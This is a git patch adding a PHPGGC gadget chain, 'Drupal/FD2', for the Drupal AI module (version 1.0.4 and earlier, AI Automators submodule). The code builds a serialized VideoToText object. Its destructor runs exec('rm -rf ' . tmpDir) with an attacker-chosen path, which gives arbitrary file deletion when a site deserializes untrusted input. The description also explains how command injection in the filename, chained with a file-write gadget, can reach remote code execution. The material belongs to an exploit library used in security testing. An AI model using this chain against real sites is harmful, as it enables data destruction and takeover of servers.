From f42bc15547adc82317b6144eff9132611d903847 Mon Sep 17 00:00:00 2001
From: mcdruid <drew@mcdruid.co.uk>
Date: Thu, 8 May 2025 17:08:03 +0100
Subject: [PATCH] Drupal/FD2 for the AI module

---
 gadgetchains/Drupal/FD/2/chain.php   | 23 +++++++++++++++++++++++
 gadgetchains/Drupal/FD/2/gadgets.php | 13 +++++++++++++
 2 files changed, 36 insertions(+)
 create mode 100644 gadgetchains/Drupal/FD/2/chain.php
 create mode 100644 gadgetchains/Drupal/FD/2/gadgets.php

diff --git a/gadgetchains/Drupal/FD/2/chain.php b/gadgetchains/Drupal/FD/2/chain.php
new file mode 100644
index 00000000..f473ea47
--- /dev/null
+++ b/gadgetchains/Drupal/FD/2/chain.php
@@ -0,0 +1,23 @@
+<?php
+
+namespace GadgetChain\Drupal;
+
+class FD2 extends \PHPGGC\GadgetChain\FileDelete
+{
+    public static $version = 'Drupal AI module <= 1.0.4';
+    public static $vector = '__destruct';
+    public static $author = 'mcdruid';
+    public static $information = '
+        This specifically requires the AI Automators submodule to be enabled.
+        Can also achieve RCE via command injection in the filename, but the path
+        must pass a check with file_exists(). This could be used in combination
+        with a File Write gadget chain to achieve RCE (useful if that FW gadget
+        cannot write to a file directly executable via the webserver). The
+        vulnerable destructor does this: exec(\'rm -rf \' . $this->tmpDir);
+    ';
+
+    public function generate(array $parameters)
+    {
+        return new \Drupal\ai_automators\PluginBaseClasses\VideoToText($parameters['remote_path']);
+    }
+}
diff --git a/gadgetchains/Drupal/FD/2/gadgets.php b/gadgetchains/Drupal/FD/2/gadgets.php
new file mode 100644
index 00000000..39d244e9
--- /dev/null
+++ b/gadgetchains/Drupal/FD/2/gadgets.php
@@ -0,0 +1,13 @@
+<?php
+
+namespace Drupal\ai_automators\PluginBaseClasses {
+    class VideoToText
+    {
+        public string $tmpDir;
+
+        public function __construct($tmpDir)
+        {
+            $this->tmpDir = $tmpDir;
+        }
+    }
+}